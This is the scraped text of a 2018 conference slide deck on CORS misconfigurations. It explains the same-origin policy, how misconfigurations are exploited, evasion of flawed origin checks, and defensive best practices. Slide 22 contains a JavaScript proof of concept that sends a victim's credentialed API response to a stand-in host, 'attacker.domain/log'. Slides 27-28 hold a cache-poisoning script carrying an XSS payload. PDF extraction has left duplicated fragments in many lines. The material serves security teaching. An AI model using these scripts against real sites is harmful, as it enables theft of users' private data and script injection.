CORS (In)Security HackInBo Winter Edition - Bologna, 27 Ottobre 2018 - - PowerPoint PPT Presentation

▶
cors in security
SMART_READER_LITE
LIVE PREVIEW

CORS (In)Security HackInBo Winter Edition - Bologna, 27 Ottobre 2018 - - PowerPoint PPT Presentation

Dec 02, 2022 574 likes •1.03k views

CORS (In)Security HackInBo Winter Edition - Bologna, 27 Ottobre 2018 2 _ ABOUT Davide Danelon Founder & CEO @ BeDefended MSc. in Computer Engineering CCSK, GWAPT, Comptia Security+, CCNA OWASP Testing Guide

slide-1
SLIDE 1

CORS (In)Security

HackInBo Winter Edition - Bologna, 27 Ottobre 2018

slide-2
SLIDE 2

_ ABOUT

  • Founder & CEO @ BeDefended
  • MSc. in Computer Engineering
  • CCSK, GWAPT, Comptia Security+, CCNA
  • OWASP Testing Guide Contributor
  • Bug Bounty Hunter in spare time

Davide Danelon

2

slide-3
SLIDE 3

3 _ AGENDA

  • What is CORS?
  • Play with CORS until break it
  • Frameworks and (In)Security by default
  • How to implement it securely

10:45 / 11:30

CORS (In)Security

3

slide-4
SLIDE 4

CROSS-ORIGIN RESOURCE SHARING (CORS)

4

slide-5
SLIDE 5

5 _ CORS

https://www.example.com:8443/dir/page.html

Two resources have the same origin if and only if the protocol, port, and host are the same for both resources.

URL and Origin

5

protocol host port

slide-6
SLIDE 6

6 _ CORS

Same Origin Policy (SOP): an important concept in application security that involves a large group of client-side scripting languages. The SOP rule allows scripts running in a first web page to access data in a second web page without restrictions only if both web pages have the same origin.

Same Origin Policy

6

slide-7
SLIDE 7

7 _ CORS

Results of the control of the SOP with respect to the URL "http://www.example.com/dir/page".

SOP Basics

7

Verified Verified URL URL Result Result Reason Reason http://www.example.com/dir/page2 Success Success Same host, protocol and port http://www.example.com/dir2/other Success Success Same host, protocol and port http://www.example.com:81 81/dir/othe Fail Fail Different port https https://www.example.com/dir/other Fail Fail Different protocol and port http://en.example.co en.example.com/dir/other Fail Fail Different host http://example.com example.com/dir/other Fail Fail Different host http://v2.www.exampl v2.www.example.com e.com/dir/othe Fail Fail Different host

slide-8
SLIDE 8

8

8

Attacker Web App (www.attacker.domain) Victim’s Browser Vulnerable Web App (vuln.domain)

User visits the malicious website 2 It returns the malicious script 3 Browser sends malicious request including the session cookie and the Origin header 4 “vuln.domain” returns private data 5 User is logged on “vuln.domain” 1

Same-Origin Policy, implemented by the browser, prevents the malicious script from receiving data.

6

slide-9
SLIDE 9

9 _ CORS

Imagine if:

  • “attacker.com” can read content from “gmail.com” opened in another tab
  • “attacker.com” can access data from “yourbank.com” opened in another tab

Why SOP is important?

9

slide-10
SLIDE 10

10 _ CORS

  • Companies are moving to micro services

architecture

  • Increase of use of external APIs

Why cross-origin requests?

10

Main App User Payment Service Micro Service External API

slide-11
SLIDE 11

11 _ CORS

Cross-Origin Resource Sharing (CORS) is a mechanism to relax the Same Origin Policy and it allows to enable communication between websites, served on different domains, via browsers.

What is CORS?

11

slide-12
SLIDE 12

12

12

Attacker Web App (attacker.site)

Victim’s Browser

Vulnerable Web App (vuln.bank) User visits the malicious website 2 It returns the malicious script 3 Browser sends malicious request including the session cookie and the Origin header 4 Returns private data and CORS headers 5 User is logged on “vuln.bank” 1 CORS headers allow response? 7 Browser checks the CORS headers 6 NO YES Browser passes data to malicious script

Browser prevents the malicious script from receiving data.

slide-13
SLIDE 13

13 _ CORS

Headers

HTTP/1.1 200 OK Server: Apache-Coyote/1.1

Access Access-Control Control-Allow Allow-Origin: https://example.domain example.domain Access Access-Control Control-Allow Allow-Cre rede dential ntials: s: tr true ue

Vary: Origin Expires: Thu, 01 Jan 1970 12:00:00 GMT Last-Modified: Wed, 02 May 2018 09:07:07 GMT Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 Pragma: no-cache Content-Type: application/json;charset=ISO-8859-1 Date: Wed, 02 May 2018 09:07:07 GMT Connection: close Content-Length: 111 {"id":34793,"name":"Davide","surname":"Test","cellphone":"+39<REDACTED>","email":"<REDACTED>","city ":"Torino"}

13

slide-14
SLIDE 14

14 _ CORS

Allowing Multiple Origins

14

“Access-Control Control-Allow Allow-Origin” Note Note https://example1.com No browser currently supports this syntax. *.example1.com No browser currently supports this syntax. * Supported but cannot be used with “credentials” This leads to dynamic generation of the “Access-Control-Allow-Origin” header (based on the user-supplied “Origin” header value):

  • More likely to be vulnerable
  • Less likely to be discovered
slide-15
SLIDE 15

EXPLOITING CORS

15

slide-16
SLIDE 16

16 _ EXPLOITING CORS

The process for testing CORS misconfiguration can be divided in three phases:

Process

16

Identification Analysis Exploitation

slide-17
SLIDE 17

17 _ EXPLOITING CORS

APIs are a good candidate since very often they have to be contacted from different origins. Note: Usually servers configure CORS headers only if they receive a request containing the “Origin” header  it could be easy to miss this type of vulnerabilities.

Process - Identification

17

slide-18
SLIDE 18

18 _ EXPLOITING CORS

Map candidates and send requests with the “Origin” header set.

Process - Identification

GET /handler_to_test HTTP/1.1 Host: target.domain Origin: n: https:// //ta targ rget. t.do domai ain Connection: close

REQU QUES EST

HTTP/1.1 200 OK … Access Access-co cont ntro rol-all llow

  • w-or
  • rig

igin: n: https://target.domain Access Access-co cont ntro rol-all llow

  • w-cr

cred edent ntia ials ls: true …

RESP SPON ONSE SE

18

slide-19
SLIDE 19

19 _ EXPLOITING CORS

Start playing the “Origin” header in the HTTP request and inspect the server response:

  • Is there some type of control?
  • Which type of controls are implemented?
  • Which headers are returned by the application?

Process - Analysis

19

slide-20
SLIDE 20

20 _ EXPLOITING CORS

We are ready to exploit the misconfiguration previously identified.

Process - Exploitation

20

“With Credentials” “Without Credentials”

HTTP/1.1 200 OK … Access-control-allow-credentials: true Access-control-allow-origin: https://attacker.domain …

HTTP/1.1 200 OK … Access Access-co cont ntro rol-all llow

  • w-or
  • rig

igin: n: https:/ ://att ttac acker er.d .dom

  • main

in …

slide-21
SLIDE 21

21 _ EXPLOITING CORS

From an attacker point of view the best scenario is when the target CORS configuration sets the “Access-Control-Allow- Credentials” header to “true”. It allows to steal the victim’s private and sensitive data.

Exploitation «with credentials»

21

“Access-Control Control-Allow Allow-Origin” “Access-Control Control-Allow Allow-Credentials” Exploitable Exploitable https://attacker.com true Yes Yes null true Yes Yes * true No No

slide-22
SLIDE 22

22

22

Attacker Web App (attacker.domain)

Victim’s Browser

Vulnerable Web App (vuln.bank) User visits the malicious website 2 User is logged on “vuln.bank” 1 It returns the malicious script 3

var xhr = new XMLHttpRequest(); xhr.open("GET", " https://vuln.bank/api/private- data", true); xhr.withCredentials = true; xhr.onload = function () { location=“//attacker.domain/log?response=“+xhr.resp

  • nseText;

}; xhr.send();

Browser sends malicious request including the session cookie and the Origin header 4

GET /api/private-data HTTP/1.1 Host: Host: vuln.ban ank Origin: n: https:// //at atta tacke ker. r.dom

  • mai

ain/ Cookie: e: JSESSION ONID ID=< =<red edac acted ed>

Returns private data and CORS headers 5

HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.domain Access-Control-Allow-Credentials: true … {"id":1234567,"name":"Name","surname":"Surname","em ail":"email@target.local","account":"ACT1234567","b alance":"123456,7","token":"top-secret-string"}

slide-23
SLIDE 23

23 _ EXPLOITING CORS

Due to the two “Access-Control-Allow-*” headers sent by the server, the victim’s browser allows the JavaScript code included into the malicious page to access the private data.

Exploitation «with credentials»

23

slide-24
SLIDE 24

24 _ EXPLOITING CORS

Exploitation «with credentials» - DEMO

24

DEMO

slide-25
SLIDE 25

25 _ EXPLOITING CORS

In this case the target application allows the “Origin” with the “Access-Control-Allow-Origin” header but does not allow credentials.

Exploitation «without credentials»

25

“Access-Control Control-Allow Allow-Origin” Exploitable Exploitable https://attacker.com Yes Yes null Yes Yes * Yes Yes

slide-26
SLIDE 26

26 _ EXPLOITING CORS

Can be exploited to carry on other attacks.

Exploitation «without credentials»

26

Bypass IP-based authentication Client-side cache poisoning Server-side cache poisoning

slide-27
SLIDE 27

27 _ EXPLOITING CORS

How to make an “unexploitable” vulnerability in an “exploitable” one.

Client-side cache poisoning

27

GET /login HTTP/1.1 Host: vuln.bank Origin: n: https:// //at atta tacke ker. r.dom

  • mai

ain/ X-User: r: <svg svg/onl nloa

  • ad=

d=ale lert rt(1) 1)>

REQU QUES EST

HTTP/1.1 200 OK Access Access-Control-Allow-Origin: https:/ ://att ttac acker er.d .dom

  • main

in/ … Content-Type: text/html … Invalid id user: <svg svg/on

  • nlo

load ad=al aler ert( t(1)> )>

RESP SPON ONSE SE

ACAO set ACAC e “Vary: Origin” not set

slide-28
SLIDE 28

28

28

Attacker Web App (attacker.domain)

Victim’s Browser

Vulnerable Web App (vuln.bank) User visits the malicious website 1 It returns the malicious script 2

var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','http://vuln.bank/login',true); req.setRequestHeader('X-User', '<svg/onload=alert(1)>'); req.send(); function reqListener() { location='http://vuln.bank/login'; }

Browser sends request (after preflight) 3

GET /login HTTP/1.1 Host: vuln.bank Origin: n: https:// //at atta tacke ker. r.dom

  • mai

ain/ X-User: r: <svg svg/onl nloa

  • ad=

d=ale lert rt(1) 1)>

HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.domain/ … Content-Type: text/html … Invalid user: <svg svg/onload=alert(1)>

Browser receives response and caches it 4 User requires /login page 5 Browser shows the cached page 6

XSS!!

slide-29
SLIDE 29

29 _ EXPLOITING CORS

Exploitation «without credentials» - DEMO

29

DEMO

slide-30
SLIDE 30

30

30

Attacker Web App (attacker.domain)

Victim’s Browser

User visits the malicious website 1 It returns the malicious script (Local File Disclosure or RCE) 2 Browser sends request to IDE’s local server 3 JetBrains IDEs INTERNET LAN

http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/

Browser check ACAO header and pass the data received 5

$50.000 reward!

1) Returns file content required by the attacker (+ ACAO header) 2) Remote Code Execution 4

slide-31
SLIDE 31

(IN)SECURING CORS

31

slide-32
SLIDE 32

32 _ (IN)SECURING CORS

Evasion techniques

32

We have fixed the vulnerability with a control on the Origin header Let me see

if(origin.contains(“target.domain”)) response.setHeader(”Access-Control-Allow- Origin", origin);

What if an attacker registers the following subdomain? ”target.domain.attacker.com” DOH!

slide-33
SLIDE 33

33 _ (IN)SECURING CORS

Evasion techniques

33

Ok man, we have implemented a stronger control on the Origin header with a regex Let me see

^https?:\/\/.*\.?target\.domain$

What if an attacker registers the following domain? ”nottarget.domain” DOH!

slide-34
SLIDE 34

34 _ (IN)SECURING CORS

Default Configuration

34

Well, we need a basic CORS configuration so we have replaced our custom and buggy implementation with the Tomcat

  • ne
slide-35
SLIDE 35

35

35

slide-36
SLIDE 36

36

36

Apache Tomcat 9 - Documentation

CAN YOU SPOT THE PROBLEM?

slide-37
SLIDE 37

37 _ EXPLOITING CORS

  • Allowing multiple origins could be a pain
  • Default configurations can be insecure by default

Why is it easy to get wrong?

37

slide-38
SLIDE 38

SECURING CORS

39

slide-39
SLIDE 39

40 _ SECURING CORS

  • Avoid if not necessary
  • Define whitelist: regex is more prone to error
  • Allow only secure protocols
  • Configure ”Vary” header: “Vary: Origin”
  • Avoid credentials if not necessary

Best Practices

40

slide-40
SLIDE 40

41 _ SECURING CORS

  • Limit allowed methods: use the "Access-Control-Allow-Methods" header
  • Limit caching period: use the “Access-Control-Max-Age”
  • Configure headers only when needed
  • Pay attention to default configurations

Best Practices (2)

41

slide-41
SLIDE 41

43

43

https://www.bedefended.com/papers/cors-security-guide

You will find more details, other techniques and references

slide-42
SLIDE 42

ANY QUESTION?

44

slide-43
SLIDE 43

@TwiceDi @TwiceDi davide.danelon